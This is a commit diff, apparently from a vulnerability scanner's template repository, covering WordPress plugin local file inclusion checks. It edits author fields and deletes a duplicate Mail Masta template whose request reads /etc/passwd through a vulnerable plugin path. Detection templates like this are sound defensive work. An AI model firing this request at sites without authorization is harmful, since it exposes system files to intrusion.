commit
1f38453eaa
|
@ -2,7 +2,7 @@ id: CVE-2016-10956
|
||||||
|
|
||||||
info:
|
info:
|
||||||
name: Mail Masta 1.0 - Unauthenticated Local File Inclusion (LFI)
|
name: Mail Masta 1.0 - Unauthenticated Local File Inclusion (LFI)
|
||||||
author: daffainfo
|
author: daffainfo,0x240x23elu
|
||||||
severity: high
|
severity: high
|
||||||
description: The mail-masta plugin 1.0 for WordPress has local file inclusion in count_of_send.php and csvexport.php.
|
description: The mail-masta plugin 1.0 for WordPress has local file inclusion in count_of_send.php and csvexport.php.
|
||||||
reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-10956
|
reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-10956
|
||||||
|
|
|
@ -2,7 +2,7 @@ id: CVE-2018-16299
|
||||||
|
|
||||||
info:
|
info:
|
||||||
name: WordPress Plugin Localize My Post 1.0 - LFI
|
name: WordPress Plugin Localize My Post 1.0 - LFI
|
||||||
author: 0x_Akoko
|
author: 0x_Akoko,0x240x23elu
|
||||||
severity: high
|
severity: high
|
||||||
reference: https://www.exploit-db.com/exploits/45439
|
reference: https://www.exploit-db.com/exploits/45439
|
||||||
tags: wordpress,cve2018,cve,lfi
|
tags: wordpress,cve2018,cve,lfi
|
||||||
|
|
|
@ -1,19 +0,0 @@
|
||||||
id: wp-mail-masta-lfi
|
|
||||||
|
|
||||||
info:
|
|
||||||
name: WordPress Plugin Mail Masta 1.0 - Local File Inclusion
|
|
||||||
author: 0x240x23elu
|
|
||||||
severity: high
|
|
||||||
reference: https://www.exploit-db.com/exploits/40290
|
|
||||||
tags: wordpress,wp-plugin,lfi
|
|
||||||
|
|
||||||
requests:
|
|
||||||
- method: GET
|
|
||||||
path:
|
|
||||||
- "{{BaseURL}}/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd"
|
|
||||||
|
|
||||||
matchers:
|
|
||||||
- type: regex
|
|
||||||
regex:
|
|
||||||
- "root:[x*]:0:0:"
|
|
||||||
part: body
|
|
Loading…
Reference in New Issue